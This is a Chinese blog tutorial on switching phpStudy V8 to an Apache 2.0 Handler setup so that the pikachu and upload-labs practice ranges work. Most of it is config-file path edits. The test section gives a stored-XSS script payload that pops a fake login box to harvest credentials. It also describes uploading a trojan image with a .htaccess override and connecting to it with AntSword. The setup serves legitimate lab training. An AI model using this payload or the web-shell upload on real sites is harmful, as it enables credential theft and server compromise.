phpStudy V8 配置 Apache 2.0 Handler 环境

前言

phpStudy V8查看phpinfo信息时,有一项如下:

Server APICGI/FastCGI

如何查看phpinfo?

在www目录下新建phpinfo.php,内容为:

<?php
 phpinfo(); 
?>

访问phpinfo.php(例如:http://localhost/phpinfo.php)即可看到。

这样就无法完成pikachu靶场XSS钓鱼演示,因为会一直弹框让输入账号、密码。

此外,也无法完成upload-labs靶场第四关通过上传.htaccess文件覆盖原本配置文件,使jpg用php解析。

百度搜索后发现了原因:

来源:pikachu 靶场之XSS(跨站脚本) -上篇

=频繁弹窗问题=

原因:PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,因此该功能不适用于CGI版本。

解决方案:重新部署环境

 我们需要让Server API 显示 Apache 2.0 Handler。

教程原理

phpStudy2018里有Apache 2.0 Handler环境,先下载下来,复制到phpStudy V8中,修改配置文件就行了。

你可能会问,既然phpStudy2018可以演示XSS钓鱼,为什么不用phpStudy2018呢?

因为phpStudy V8 界面好看,而且我用旧版时,phpMyAdmin打开太慢了。如果你已经在用旧版了,就不用看下去了。

php文件名带nts的都是CGI/FastCGI,不带nts的是Apache 2.0 Handler。

phpStudy V8的php文件名都是带nts的,旧版本有部分是不带nts的。

一、下载phpStudy2018

下载页面:Windows版phpstudy下载 - 小皮面板(phpstudy)

解压打开,运行PhpStudy2018.exe,自动解压文件到指定目录下。

打开 D:\*PhpStudy2018\PHPTutorial。

Apache和php\php-5.5.38就是我们需要的文件。

把Apache复制到*\phpstudy_pro\Extensions目录下,即phpStudy V8的Extensions目录下。先重命名为Apache2.4.23-win32-VC11。(为什么是这个名字,后面会说)

把php\php-5.5.38复制到phpStudy V8的Extensions\php目录下。

二、配置Apache

先在phpStudy V8 中下载安装Apache2.4.43。等会我们再替换掉里面的内容。

需要修改的文件有三个:Apache2.4.23-win32-VC11\conf 下的 httpd.conf、vhosts.conf,Apache2.4.23-win32-VC11\conf\extra 下的 httpd-php.conf。

http.conf

第一处:
ServerRoot  "D:/NetworkSecurity/PhpStudy2018/PHPTutorial/Apache"
修改Apache路径,参考如下:
Define SRVROOT "D:/NetworkSecurity/phpstudy_pro/phpstudy_pro/Extensions/Apache2.4.43"
ServerRoot "${SRVROOT}"
定义了一个SRVROOT。路径最后必须是Apache2.4.43,因为我们等会要替换里面已有的内容。注意是/不是\。

第二处:
DocumentRoot  "D:\NetworkSecurity\PhpStudy2018\PHPTutorial\WWW"
修改参考如下:
DocumentRoot  "D:\NetworkSecurity\phpstudy_pro\phpstudy_pro\WWW"

第三处:
<Directory "D:/NetworkSecurity/PhpStudy2018/PHPTutorial/Apache/cgi-bin">
    AllowOverride None
    Options None
    Require all granted
</Directory>
把路径改为${SRVROOT}/cgi-bin,用到了第一处的SRVROOT。参考如下:
<Directory "${SRVROOT}/cgi-bin">
    AllowOverride None
    Options None
    Require all granted
</Directory>

vhosts.conf

原文:
<VirtualHost _default_:80>
DocumentRoot "D:\NetworkSecurity\PhpStudy2018\PHPTutorial\WWW"
  <Directory "D:\NetworkSecurity\PhpStudy2018\PHPTutorial\WWW">
    Options -Indexes -FollowSymLinks +ExecCGI
    AllowOverride All
    Order allow,deny
    Allow from all
    Require all granted
  </Directory>
</VirtualHost>
修改一下路径。
参考如下:
<VirtualHost _default_:80>
DocumentRoot "D:\NetworkSecurity\phpstudy_pro\phpstudy_pro\WWW"
  <Directory "D:\NetworkSecurity\phpstudy_pro\phpstudy_pro\WWW">
    Options -Indexes -FollowSymLinks +ExecCGI
    AllowOverride All
    Order allow,deny
    Allow from all
    Require all granted
  </Directory>
</VirtualHost>

httpd-php.conf

原文:
LoadFile "D:/NetworkSecurity/PhpStudy2018/PHPTutorial/php/php-5.4.45/libssh2.dll"
LoadFile "D:/NetworkSecurity/PhpStudy2018/PHPTutorial/php/php-5.4.45/php5ts.dll"
LoadModule php5_module "D:/NetworkSecurity/PhpStudy2018/PHPTutorial/php/php-5.4.45/php5apache2_4.dll"
<IfModule php5_module>
PHPIniDir "D:/NetworkSecurity/PhpStudy2018/PHPTutorial/php/php-5.4.45/"
</IfModule>
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>
修改路径。
参考如下:
LoadFile "D:/NetworkSecurity/phpstudy_pro/phpstudy_pro/Extensions/php/php-5.5.38/libssh2.dll"
LoadFile "D:/NetworkSecurity/phpstudy_pro/phpstudy_pro/Extensions/php/php-5.5.38/php5ts.dll"
LoadModule php5_module "D:/NetworkSecurity/phpstudy_pro/phpstudy_pro/Extensions/php/php-5.5.38/php5apache2_4.dll"
<IfModule php5_module>
PHPIniDir "D:/NetworkSecurity/phpstudy_pro/phpstudy_pro/Extensions/php/php-5.5.38/"
</IfModule>
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>
注意是/不是\。

删除Apache2.4.43内所有文件,把Apache2.4.23-win32-VC11里所有的文件复制到Apache2.4.43内。

三、配置php

打开Extensions\php\php-5.5.38目录下的php.ini。

第一处:
; Default timeout for socket based streams (seconds)
; http://php.net/default-socket-timeout
default_socket_timeout = 60
extension_dir="D:\NetworkSecurity\PhpStudy2018\PHPTutorial\php\php-5.5.38\ext"
修改路径
参考如下:
; Default timeout for socket based streams (seconds)
; http://php.net/default-socket-timeout
default_socket_timeout = 60
extension_dir="D:\NetworkSecurity\phpstudy_pro\phpstudy_pro\Extensions\php\php-5.5.38\ext"

第二处:
session.save_path="D:\NetworkSecurity\PhpStudy2018\PHPTutorial\tmp\tmp"
修改路径
参考如下:
session.save_path="D:\NetworkSecurity\phpstudy_pro\phpstudy_pro\Extensions\tmp\tmp"

第三处:
[XDebug]
xdebug.profiler_output_dir="D:\NetworkSecurity\PhpStudy2018\PHPTutorial\tmp\xdebug"
xdebug.trace_output_dir="D:\NetworkSecurity\PhpStudy2018\PHPTutorial\tmp\xdebug"
在Extensions\temp目录下新建文件夹xdebug,修改路径
参考如下:
[XDebug]
xdebug.profiler_output_dir="D:\NetworkSecurity\phpstudy_pro\phpstudy_pro\Extensions\tmp\xdebug"
xdebug.trace_output_dir="D:\NetworkSecurity\phpstudy_pro\phpstudy_pro\Extensions\tmp\xdebug"

四、测试

在phpStudy V8的网站页面,把pikachu、upload-labs等网站的php版本改为php-5.5.38。

 启动需要VC11环境。

VC11微软官方下载页面
https://www.microsoft.com/en-us/download/details.aspx?id=30679

在首页启动MySQL和Apache2.4.43(实际上Apache是2.4.23版本)。

访问phpinfo.php查看php信息。

可以看到Server API 是Apache 2.0 Handler。

往下翻:

可以看到Apache Version是2.4.23 win32版本,这就是一开始重命名为Apache2.4.23-win32-VC11的原因。Server Root路径是2.4.43,但实际上内容已经替换为2.4.23版本了,相当于把phpStudy当做一个启动器去启动Apache。

测试一下pikachu靶场的XSS钓鱼:

打开存储型XSS。

输入payload:

<script src="http://localhost/pikachu/pkxss/xfish/fish.php"></script>
根据实际情况自己修改,或者搜索相关教程。

重新进入存储型XSS页面,弹框输入账号、密码:

点击登录,弹框消失。去XSS后台页面查看钓鱼记录:

测试成功。

成功后,如果在同一个浏览器打开存储型XSS页面,可能不会再弹框了,保留了cookie,XSS后台会正常收到上一次输入的账号与密码。

测试upload-labs靶场第四关:

打开第四关:

http://localhost/upload-labs/Pass-04/index.php

上传1.jpg木马图片以及.htacess文件。两个文件内容图如下:

上传后能在upload-labs/upload目录下看到文件:

使用工具访问木马图片(这里使用蚁剑)。

连接成功。

测试结束。

五、其他

如果想用其他版本的Apache和php,提供如下下载链接:

php下载页面
https://windows.php.net/downloads/releases/archives/

Apache下载页面
这是VC11的:
https://www.apachelounge.com/download/VC11/
这是VC15的:
https://www.apachelounge.com/download/VC15/
以此类推,可能有些页面缺失。

Apache和php版本需要相匹配:

要么都是x86的,要么都是x64的。

VC版本需要一样。

例如:

Apache 2.4.38 Win32
httpd-2.4.38-win32-VC11.zip

php-5.5.38-win32-VC11-x86

php-5.5.38-Win32-VC11-x86.zip

 VC版本下载链接:

VC各版本:(来源于网上搜索,如果有错,请指出)

VC6→ Microsoft Visual C++ 6

VC7→ Microsoft Visual C++ 2003
VC8→ Microsoft Visual C++ 2005
VC9→ Microsoft Visual C++ 2008
VC10→Microsoft Visual C++ 2010
VC11→Microsoft Visual C++ 2012
VC12→Microsoft Visual C++ 2013
VC14→Microsoft Visual C++ 2015
VC15→Microsoft Visual C++ 2017
VC16→Microsoft Visual C++ 2019

Apache网页提供了微软官方下载链接:
VC11:
Apache页面:https://www.apachelounge.com/download/VC11/
进入后,找到这句话:
Be sure that you have installed Visual C++ Redistributable for Visual Studio 2012 : vcredist_x64/86.exe
点击“vcredist_x64/86.exe”即可跳转微软官方页面下载VC11。
以此类推。

如有错误,欢迎指出。

  • 18
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值